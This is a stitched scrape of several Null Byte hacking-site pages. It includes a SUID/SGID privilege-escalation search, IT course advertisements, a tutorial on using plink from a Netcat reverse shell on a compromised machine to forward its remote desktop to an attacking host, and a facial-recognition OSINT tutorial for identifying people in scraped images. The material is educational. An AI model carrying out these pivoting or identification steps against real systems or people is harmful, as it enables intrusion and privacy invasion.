privileges.Step 1: Finding Files with the SUID Bit SetThe "find" command in Linux is powerful utility that enables us to find files that meet some specified criteria. In this case, we want the find command to search the entire file system to locate files that have permissions with the SUID bit set, that are owned by root. We can accomplish by typing the following command:debian > find / -perm +4000 -user root -type f -printLet's break this command down to its individual parts./says start at the top (root) of the file system and search every directory-permsays look for the permissions that follow+4000is the numerical representation of the SUID bit permission-usersays look for files that are owned by the following userrootis the user whose files we are looking for-typedefines the type of file we are looking forfrepresents a regular file (not directories or special files)-printtells the command to print to standard out the path to the fileWhen we run this command against a Debian 7 GNOME system, we get the following results.As you can see, most of what was returned are BASH commands and other tried-and-true applications. Since these commands and applications have been tested over years, you are unlikely to find the vulnerabilities you need. What we are looking for are new untried and untested applications that might have the sticky bit set and may have been carelessly coded.Step 2: Looking for SGID Bit SetNow, let's look for programs that have the SGID bit set. We can find then by using the following command.debian > find / -perm +2000 -user root -type f -printThe only difference here is that instead of looking for +4000 permissions as in Step #1, now we are looking for +2000 permissions (SGID).When we run this command on the Debian 7 system, we get the following output.I have highlighted numerous games that were returned from this search. This means that these games run with the permissions of the root group permissions. These might be a fertile group to seek to manipulate for privilege escalation as many games are poorly coded and might be good candidates to manipulate to gain root privileges.I will continue to provide you the tools and techniques to hack with the best hackers in the world, so keep coming back, my nascent hackers.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)How To:Find & Exploit SUID Binaries with SUID3NUMHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow to Hack Like a Pro:Getting Started with MetasploitHow To:Find Your Computer's Vulnerability Using LynisHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Exploit Shellshock on a Web Server Using MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Anti-Virus in Kali LinuxHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How To:Top 10 Exploit Databases for Finding VulnerabilitiesNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereMac for Hackers:How to Get Your Mac Ready for HackingHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Backtrack 5 Security EssentialsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:The Right Linux Distro
This Extensive IT Training Bundle Is on Sale for Just $40 « Null Byte :: WonderHowTo
The career prospects for talented and trained IT professionals are nearly endless. As the world becomes more interconnected by the day, companies of all sizes are looking for people who can install, maintain, and troubleshoot a wide variety of networking infrastructures and web-based platforms.If you want to dip your toes into the world of IT and see if you have what it takes,The Complete IT for Beginners Bundleis a solid place to start. This comprehensive resource is ideal for anyone who wants to start on the right foot in this increasingly lucrative industry, and it's available today for just $39.99.With detailed lessons that focus on everything from coding and web development to cloud computing and beyond, this 10-course bundle also makes it easy to learn valuable skills that can enhance your resume when it comes time to enter the industry.If you're relatively new to the world of programming, start with the Coding for Beginners course, which walks you through the basics of creating apps, building websites, and working with go-to programming languages like Python.With the basics covered, you'll be ready to dive into the other nine courses that will give you an in-depth understanding of data-management systems, cloud computing infrastructures, Amazon Web Services, and much more.There are also dedicated courses that take a much deeper dive into not only Python but also HTML5 and CSS — all through training that focuses on real-world examples.Start down the path toward becoming an in-demand IT pro with The Complete IT for Beginners Bundle while it's available forjust $39.99— 95% off its usual price of nearly $1,000 today.Prices are subject to change.Get the Deal:The Complete IT for Beginners Bundle for $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:This Extensive Python Training Is Under $40 TodayHow To:Become a Big Data Expert with This 10-Course BundleHow To:Learn to Draw Like a Pro for Under $40How To:Prep for a Lucrative Project Management Career with These CoursesHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Learn Java, C#, Python, Redux & More with This $40 BundleHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Master Python, Linux & More with This Training BundleHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Master Linux, Python & Math with This $40 BundleHow To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Break into Game Development with This $40 BundleHow To:This Best-Selling Web Development Training Is on Sale for $12How To:Learn to Code Your Own Games with This Hands-on BundleHow To:Harness the Power of Google Analytics with This $20 TrainingHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:Build Games for Under $40 with This Developer's BundleHow To:Streamline Your App & Game Development with AppGameKitNews:Image Recognition Expected to Generate $40 Billion by 2021How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Explore Data Analysis & Deep Learning with This $40 Training BundleHow To:Boost Your Sales Skills & Close More Deals with This Ultimate Sales Master ClassHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityNews:The Best Black Friday 2018 Deals on Headphones for Your SmartphoneHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Learn to Code for Less Than $40How To:Become an In-Demand Web Developer with This 11-Course BundleHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:8 Web Courses to Supplement Your Hacking KnowledgeNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Upgrade Your Work-from-Home Setup with These Accessory DealsNews:The True Cost of Streaming Cable (It's Not as Cheap as You Think)News:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!News:The Humble Bundle Strikes Again with a "Frozen" ThemeAfterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-Orders
Become an In-Demand IT Pro with This Cisco Training « Null Byte :: WonderHowTo
There are countless ways in which a talented and trained programmer and tech pro can earn a lucrative living in an increasingly data-driven age — from writing and creating apps andgamesto working for a cybersecurity firm or even the federal government.But you can also opt for a stable and high-paying career in the world of IT, where avid tech enthusiasts are being employed to perform a wide range of lucrative jobs ranging from server installation and maintenance to white-hat hacking and security implementation.If you want to be competitive in this demanding field, you're going to need to have the right certifications on your resume. ThePremium Cisco CCNA & CCNP Lifetime Certification Prep Bundlewill help you ace the exams for some of the field's most valuable credentials for just $34.93 — over 95% off the MSRP right now.Even if you've never familiarized yourself with the basic principles and methods of the industry, this seven-course training bundle will walk you through everything you need to know to land the in-demand Cisco CCNA, CCNP, and ICND2 certifications.Through training that relies heavily on real-world examples and comprehensive lessons that can be viewed on all of your devices, this training package will teach you how to install networks, troubleshoot common communication issues, install protective measures that can thwart foreign attacks, identify and retaliate against server threats, and more.The material is taken from actual past exams so you won't have any surprises when it comes time to sit for the real thing, and there are plenty of helpful resources and hands-on lab exercises that will help you solidify and practice your new skills.Start down the path toward a high-paying and exciting career in IT with help from the Premium Cisco CCNA & CCNP Lifetime Certification Prep Bundle — on sale for over 95% off atjust $34.93for a limited time.Prices are subject to change.Find Out More:The Premium Cisco CCNA & CCNP Lifetime Certification Prep Bundle for $34.93Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byChristina @ wocintechchat/UnsplashRelatedHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35Hack Like a Pro:How to Find Any Router's Web Interface Using ShodanHow To:Become a Computer Forensics Pro with This $29 TrainingNews:Cisco & Accenture Lead $17.2 Million Investment Round in Upskill's Enterprise AR SuiteHow To:Use Trapcode plugins in Final Cut ProHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:Install iLok plug-ins for Pro Tools 8 in Mac OS XHow To:Mix and master in Pro Tools 8How To:Make Your Next Career Move with These Online CoursesHow To:This Best-Selling Web Development Training Is on Sale for $12News:Nreal Pauses Smartglasses Production as Coronavirus Issues Impact China, Amazon, Facebook, Intel, & Nvidia Exit MWCHow To:Manipulate the audio clips in Final Cut Pro using keyframesHow To:Configure your Cisco router to track netflow data for your websiteHow To:Use Sony Vegas Pro 10 to color correct videosHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Configure Cisco and iptables firewalls with a utilityHow To:Become an In-Demand Web Developer with This $29 TrainingNews:B2B Software Company Kaon Bets Big on Google's Tango Phones & ARHow To:Use export plug-ins in ApertureHow To:Learn EQ essentials in Pro ToolsHow To:Fade in and out in Pro ToolsHow To:Fade video and audio in and out in Sony VegasHow To:Use the ProType Titler tool in Sony Vegas ProHow To:Use FxFactory plug-ins for Final Cut StudioHow To:Use the Time Remapping video effect in Premiere CS3How To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Become an In-Demand Ethical Hacker with This $15 CompTIA CourseHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort)News:Pro Flight SimulaterNews:The Basics Of Website MarketingHow To:Use the Boris plug-in Pixelchooser in Premiere Pro CS3News:Day 2 Of Our New WorldHow To:Audit remote password using THC-HydraNews:Immigration LawsNews:Quiksilver Pro El Salvador:Camera Plus Pro:The iPhone Camera App That Does it AllHow To:Get 8 free VU meter plugins for Mac FCP, AE and MotionHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)
How to Use Remote Port Forwarding to Slip Past Firewall Restrictions Unnoticed « Null Byte :: WonderHowTo
Local port forwardingis good when you want to use SSH to pivot into a non-routable network. But if you want to access services on a network when you can't configure port-forwarding on a router and don't have VPN access to the network, remote port forwarding is the way to go.Remote port forwarding excels in situations where you want access to a service on an internal network and have gained control of a machine on that network via a reverse shell of some kind. Whether you're a pentester or system admin, this is a good thing to know about.For example, let's say you compromise a public terminal in the local library and get some credentials. You install a persistent reverse shell of some sort, which communicates back to your machine, but you don't have access to other services on the machine. The victim machine might have an SQL instance configured on localhost only that you want access to, or maybe you want to access the remote desktop. Maybe the network is hosting some sort of admin panel you'd like to poke around in. Whatever it is you want, a compromised host and SSH will get you in.Don't Miss:How to Use Pupy, a Remote Access Tool for LinuxRemote port forwarding isn't only for malicious scenarios. You can use it to punch a temporary hole out of a network to use work services at home, though that may be frowned upon by your security team.Another excellent usage is in phishing campaigns where a user has executed your payload, and you only have a reverse shell connection back. After a bit of information gathering, then privilege escalation, you gather the credentials for the administrative user and wish to use those on another service on the compromised machine.In this article, we'll be using SSH to access the remote desktop on a host located behind a firewall in an internal network — all without modifying the port forwarding rules on the gateway!The SituationThe shell is aNetcatconnection running cmd.exe. The user "bob" is not a privileged user. Through prior information gathering, I know that the user "barrow" is a privileged user, and I also know that this machine has a remote desktop connection available.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsIt would be excellent to log into this machine via a remote desktop as an administrative user, but it is non-routable to my machine. Our compromised machine is behind a router, with an internal IP address, and I don't have access to the internal network, except via the internal host.I can use the reverse shell to interact with the compromised host, but if I attempt to connect to a remote desktop, the IP address will be invalid. If I use the public-facing IP address, I will be connecting to a router which will just drop my packets. Since I don't have an SSH server on this network that I can pivot with, I'll have to use Plink to forward the remote desktop service to my attacking machine.Step 1: Install PlinkPlink is a Windows command line SSH client. It is included with Kali Linux in the/usr/share/windows-binaries/directory. It can also be downloadedfrom the developer(look for the plink.exe file).Step 2: Configure Remote Port ForwardingUsing my Netcat shell and plink.exe, I set up a remote port forward to my attacking machine from my victim machine by typing the following into the reverse shell I have established from my victim machine.plink attackingMachine -R 4000:127.0.0.1:3389The syntax is similar to SSH. Using the-Roption tells Plink to connect to the attacking machine and bind a channel on port4000(I arbitrarily selected port 4000 — you can select any port). The next portion in between the colons defines what service will be served to port 4000 on the attacking machine. In this case, the victim machine's port3389. Once this command is entered, I will log in with my credentials to my attacking machine. Now, my attacking machine has access to the remote desktop service on the victim machine on my localhost port 4000.If you're paying attention, you may have noticed that I used the localhost address on the victim machine. This can be useful for port forwarding services that are generally constrained to localhost access only, such as mySQL.Step 3: Log into a Remote DesktopWith this running on my Netcat shell, I connect to my victim machine's remote desktop service using therdesktopcommand. The following command uses the remote desktop protocol to connect to localhost port 4000 where my victim machine is forwarding its local port 3389.rdesktop localhost:4000All that's left to do is use a known credential to log into Windows, either phished or gained via privilege escalation. From here, I have full administrative access to the system, despite the system's gateway dropping all inbound connection requests. I also retained my initial shell connection, which is always important to me. Shells can be a lot easier to lose than they are to get back.SSH is an excellent tool for pivoting in networks, but it's not limited to penetration testing. Remote port forwarding can provide you access to services on a machine that would normally be inaccessible. This can be useful if you want to share your services with networks that normally would not be able to reach them. For example, if you need to temporarily connect to a service at work from your home but the firewall is dropping all inbound packets. In some cases, setting up a reverse SSH tunnel is easier than port forwarding a consumer-grade router.If you have any questions or comments, feel free to post. You can also reach me on Twitter@0xBarrow. And as always, follow Null Byte on social media to stay up to date on all of the greatest hacking guides on the web.Don't Miss:How to Use SSH Local Port Forwarding to Pivot into Restricted NetworksFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Barrow/Null ByteRelatedHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Port Forwarding for NewbiesHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:Build an Evasive Shell in Python, Part 1: Introduction & ConceptsHow To:Your Complete Guide to Using Remote Desktop on the Microsoft Surface and Windows 8How To:Open ports in a Windows firewallHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Install a Persistant Backdoor in Windows Using NetcatHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallHow To:Remotely Control Computers Over VNC Securely with SSHHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Create an SSH Tunnel Server and Client in LinuxUDP Flooding:How to Kick a Local User Off the NetworkMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Turn Your House Lights On & Off Using the InternetNews:Rocket Pyro Missile Launcher Glove triggered by wired remote control system -
How to Use Facial Recognition to Conduct OSINT Analysis on Individuals & Companies « Null Byte :: WonderHowTo
Analysis of photographs and social connections can be a huge component ofsocial engineering. Understanding who a person is, as well as who they know, can establish links within a company. This information could be used by hackers to execute elaborate social engineering attacks.OSINT(open-source intelligence) is a term used to refer to the gathering, evaluation, and application of publicly available data. To quote theCentral Intelligence Agency, "Information does not have to be secret to be valuable. Whether in the blogs we browse, the broadcasts we watch, or the specialized journals we read, there is an endless supply of information that contributes to our understanding of the world."One of the most common forms of such information found on the internet is not stored in plaintext, but rather in photographic content. Traditionally, these images had to be filtered manually by a human viewer to determine and evaluate their content, but with the availability of facial recognition software, this whole process can be automated.Don't Miss:How to Use Kismet to Watch Wi-Fi User Activity Through WallsFacial recognition has generated a lot of news and discussion regarding the use ofbiometrics, as well as the effects of this technology on data collection and privacy. While this technology is frequently used on platforms such as Facebook and is gaining widespread use in law enforcement worldwide, the backend technologies which allow one to use facial recognition for their own purposes are now easily accessible and available for use in free and open-source implementations.In this tutorial, we'll use theFace RecognitionPython library to analyze and discover images based on the people within them. We'll look at how batches of images can be crawled for and discovered, as well as look at how to generate statistics and conclusions about an individual or website.Step 1: Install the PrerequisitesThe Python library we'll be using,Face Recognition, is available directly through the Pip package manager onLinuxandmacOS. While the package isn't officially supported onWindows, aninstallation guideis available, as well as apreconfigured virtual machine image.Before beginning installation, make sure your operating system is up to date. On Debian-based Linux distros such as Ubuntu andKali, repositories can be updated and new software installed by running the command below.sudoapt-getupdate && apt-get upgradeWhile Pip is included by default in some distributions, it can also be installed by running the command below. This command will fetch the newest version of the package and install it.sudo apt-get install python-pipOnce Pip is installed, we can use it to install the Face Recognition library by running the command below.sudo pip install face_recognitionOnce the Pip installation completes, the library should be ready to use!Step 2: Organize Data for AnalysisThe library used for facial recognition being implemented in Python means it can be implemented into other applications with relative ease. This means that the addition of facial recognition function could be added to live webcam streams, web crawlers, or other formats where images or videos containing faces are displayed digitally. This, however, requires the writing of additional original code. Instead, in this tutorial, we'll use the included command line tool and combine it with other system utilities to perform similar tasks without the need to write new scripts.The included command line tool is intended to work with two batches of files. One folder will contain a set of recognized faces, the other a set of images which the user desires to compare to this set.To create a set of images to filter for specific individual faces, we can recursively download a website, such as the one below, using Wget. In real-world scenarios, a pentester or researcher may instead target a specific business's domains, image galleries, or even social media or other sources to try to download as many potentially relevant images as possible.Image viaThe White HouseWget can be operated from the command line and be used to download anything from a single page or image to an entire website. A command such as the one shown below will follow every link within a given domain and download all content available on that page. This command can be quit at any time by pressingCtrl+C, otherwise, it will run until the given request completes.wget -p -r -E -e robots=off --convert-links -U mozilla --level 1whitehouse.govThe-pflag specifies that additional content such as images, stylesheets, and scripts are also downloaded by the tool.The-Eflag mandates that each file downloaded is saved with its full file extension, which will make it easier for us to filter for images.The-rflag is for recursion so that links and other directories are also downloaded.Later in the string, the level of recursion is specified as--level 1. This ensures that links from the index page are followed once. To allow links to be followed to an increased depth, the number can be increased from 1 or the flag can be removed to attempt infinite recursion.If one wished to make sure that no files are to be downloaded from other websites, the--domainflag can be used, followed by the domain which the command should be restricted to.Keep in mind that recursive requests can be blocked or cause issues on some servers, so you may wish to limit your recursion or cap your request speed by using the-wflag to create a delay between requests.Using the-e robots=offavoids the request from being dismissed or blocked as an undesired web crawler.For the same reason, the-U mozillaargument is used to specify that a Mozilla useragent should be used so that the tool appears to be a web browser.The--convert-linksflag reformats links so that the page can be more easily utilized offline. While this is not necessary for the purpose of filtering the images downloaded from the site, it may make it easier to identify where the images were located on the webpage retroactively.Don't Miss:How to Use Maltego to Research & Mine Data Like an AnalystOnce we've let the program run for the desired duration, we can make duplicates of all of the image files in a new directory to be able to more easily work with them. First, create a new directory by running the command below.mkdirunknown_facesNext, copy all image files which were retrieved from the Wget request into this new directory by running the following two commands, the first for JPG files, and the second for PNG files. Theurlfolderstring should be replaced with the name of the folder which Wget created, usually corresponding to the URL or domain used in the initial command.cp urlfolder**/*.jpg unknown_faces/cp urlfolder**/*.jpg unknown_faces/Thecpcommand copies any matching files, followed by the directory argument, in this case,whitehouse.gov. The ** (double asterisk) following this directory specifies recursion, followed by a * (wildcard) for any JPG or PNG images. The last parameter of the string specifies that files should be copied to theunknown_facesdirectory.Once these images are moved to this new directory, we can uselsto view the files within this folder. The command below will list the contents of theunknown_facesfolder.ls unknown_faces/We can also forward the output of this command using a|(pipe) redirection operator in order to get a count of how many image files were discovered. This may be useful later in order to identify the frequency of a given face within a set of images. This can be done by running the command below, where the output of the previous command is sent towcwith the-lflag to count the number of lines.ls unknown_faces/ | wc -lThe output of this command shows that there are 178 image files which were saved by Wget. Once these images are ready to use, we can create a positive identification list for the faces we would like to find within this dataset.Step 3: Prepare Identification ListTo begin preparing a list of known identities and faces, create a new folder outside of the directory of the images you wish to parse. From the Wget-created directory, one can move up one directory by runningcd ../, create a new directory titledknown_facesby runningmkdir known_faces, and finally move into this directory by runningcd known_faces.Once this directory is created, one can save any files they wish to be used as a positive identification list to this folder. Clear photographs of any person are ideal for facial recognition, such as those often used as profile photos on "Contact" webpages. Ensure sure that only one face is visible in any known face photo. One may also wish to name the files something which corresponds to the person in the photo, as the filename of the photo will be returned when any positive identification is made.Once these directories are prepared, theface_recognitioncommand line utility is ready to be run.Step 4: Use Facial Recognition to Identify IndividualsThe command line utility included with the Python Face Recognition library is relatively simple to run, requiring only two parameters. The first is a directory of known faces, and the second is a directory containing faces to attempt to identify. With these folders titled according to the previous steps, the command below will run the tool.face_recognition known_faces/ unknown_faces/As the program runs, it will return filenames followed by either a positive identification of a specific person, a negative identification of an unknown person, or no persons found if there are no faces in the image. To make these results slightly more useful for automated data manipulation, we can run the same command followed by a>redirector to send the output of the program to a text file, such as in the example below.face_recognition known_faces/ unknown_faces/ > results.txtWe can use this text file as a reference to analyze and utilize the results of the facial recognition matches.Step 5: Analyze Facial Recognition MatchesOne possible way to understand the data results from the facial recognition tool is to look for all of the files which matched with a specifically identified face. We can usegrepand theresults.txttext file to see each match made with a given face. The command below will return every line in the text file which was identified with the nameDonald Trump.grep "Donald Trump" results.txtWe can also use a combination of other system utilities to determine the frequency of each result of the program by running the command below.catresults.txt | sed 's/.*,//' | sort | uniq -cFirst, runningcat results.txtreads the contents ofresults.txtas standard input. This is sent tosed, where everything before and including the comma in each line is removed. This list of results is then sent tosortwhere each result is grouped together. Finally, this is used as input foruniqwhich as a result of the-cparameter counts the number of occurrences of each line.This produces a list where each result is listed with its corresponding frequency, allowing for simple analysis of larger datasets.If we wish to have a look at the specific images identified by the facial recognition tool, we can use a similar technique. We can use the command below to produce a new text file which is a list of filenames which were tagged with a given result by the program and saved in the previous output file.grep "Donald Trump" results.txt | sed 's/,.*$//' > identified.txtIn this case, all images identified asDonald Trumpare searched for usinggrepin theresults.txttext file. These results are sent as standard input tosed, where everything including and following the comma is removed from each line. Finally, the redirection operator>sends the output to a text file namedidentified.txt.If we run a command likehead identified.txt, we'll see that the file only contains filenames. We can use this filename list as input for a short script to copy each of these files to a new folder. We can create a new script file using Nano by running the commandnano identified.sh.#!/bin/bashmkdir identifiedwhile read line; dofilename=$(echo $line | sed 's/.*\///')cp $line identified/$filenamedone < identified.txtThe first line of the script,#!/bin/bash, declares the script as being intended for Bash.The second line creates a new directory namedidentifiedwhere all of the positively identified images will be moved to.The third line, in combination with the last line, reads the text fileidentified.txtas input such that each line of the file is modified individually within the while statement.The first line of the while statement, the fourth line of the code, creates a variable namedfilename. This variable is assigned to the filename of the file without the directory location, usingsedto remove any characters before the slash in each line.This variable is utilized in the last line, where each file within theidentified.txttext file is copied to theidentifieddirectory and assigned its original filename.Don't Miss:How Hackers Cover Their Tracks on an Exploited Linux Server with Shell ScriptingOnce this script is written out in Nano, it can be saved by pressingCtrl+O, andCtrl+Xcan be used to then exit the program. After the script is saved asidentified.sh, we can add execution privileges to the file by running the command below.chmod+x identified.shNow, we can run the script itself by simply typing./identified.shand pressingenter/return.Once the script has finished running, you can navigate to the "identified" directory and see all of the images which were discovered that match your specific query! This automatically filtered process expediates a traditionally time-intensive problem requiring considerable human interaction to identify and sort images.Protecting Against Facial RecognitionUnfortunately, the only real protection against facial recognition is to limit the exposure of your face, online or otherwise. This can mean using stricter privacy settings for accounts, choosing not to use social media, or even attempting to conceal one's face in public. Many of these precautions are relatively inconvenient.In general, the dangers of facial recognition are more about the data attached to a given instance of an online profile or photo than the photo itself. Remember that whenever you choose to place any pictures or information online, you can never be completely certain of who may end up having access to them.Thanks for reading! If you have any questions, you can leave a comment below or hit me up on Twitter [email protected]'t Miss:How to Stop Facial Recognition Software from Finding Out Who You Are on CameraFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byvchalup/123RF; Screenshots by Takhion/Null ByteRelatedHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Stop Facial Recognition Software from Finding Out Who You Are on CameraHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsNews:Blippar Brings Facial Recognition AR Profiles to Mobile AppHow To:Change Your Android Screen's Orientation Using Your Face Instead of the Device's AngleRecon:How to Research a Person or Organization Using the Operative FrameworkNews:Mobile AR App Octi Evolves into Social Network via Facial Recognition TechHow To:Use Photon Scanner to Scrape Web OSINT DataNews:Image Recognition Expected to Generate $40 Billion by 2021News:Galaxy S9 Tipped to Have 'Intelligent Scan' Facial Unlocking — Iris & Face Recognition CombinedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Hunt Down Social Media Accounts by Usernames with SherlockHow To:Use Google Search Operators to Find Elusive InformationNews:Your Face Could Unlock the New iPhone 8News:AR Makes Its Broadway Debut on Makeup AppNews:Google Challenges Apple's iPhone X Series with Face Unlock & Air Gestures on Pixel 4News:Microsoft Releases Snapchat-Like Photo Editor on iOSHow To:Find OSINT Data on License Plate Numbers with SkiptracerMarket Reality:Apple, Snap, & Google Execs Talk AR, Form Takes AR to the Pool, & Octi Pivots to AR Social NetworkingNews:Vuzix Blade Teams with Facial Recognition Company to Provide Law Enforcement SolutionHow To:Disable Facebook facial recognition for photosNews:Google Photos Gets Smart with New AI & Sharing FeaturesHow To:Find Passwords in Exposed Log Files with Google DorksNews:Blippar's Mobile AR Business Collapses After Funding Falls ThroughApple AR:Warby Parker Uses Face ID in iPhone X to Measure Your Face for GlassesVideo:How to Use Maltego to Research & Mine Data Like an AnalystNews:Apple's Tim Cook, Google's Sundar Pichai, & Snap's Evan Spiegel Deliver Strategic Insights into AR in 2020 & BeyondHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameNews:Want to Try on Lipstick Without Leaving Your Home? Meitu Has a WayNews:Snapchat Virtually Restores London's Big Ben with Holiday-Themed, Location-Based AR LensNews:Snapchat Becomes SnapCAT with AR Lenses for Your Feline FriendsNews:Blippar Adds Landmark Recognition to Its Bag of AR TricksVaccine bombshell:Baby monkeys develop autism after routine CDC vaccinationsNews:Police Admit To Drugging Occupy Wall Street Protesters; Suspend ProgramNews:Magisto App for iPhone Released at CESNews:It-doesnt-pay-to-be-intelligentNews:9 facial masks you can make with ingredients from the kitchenToday's Tidbit:Politicians Never Forget a Face, Just Like Fuscatus WaspsNews:What Is Technology?
How to Hook Web Browsers with MITMf and BeEF « Null Byte :: WonderHowTo
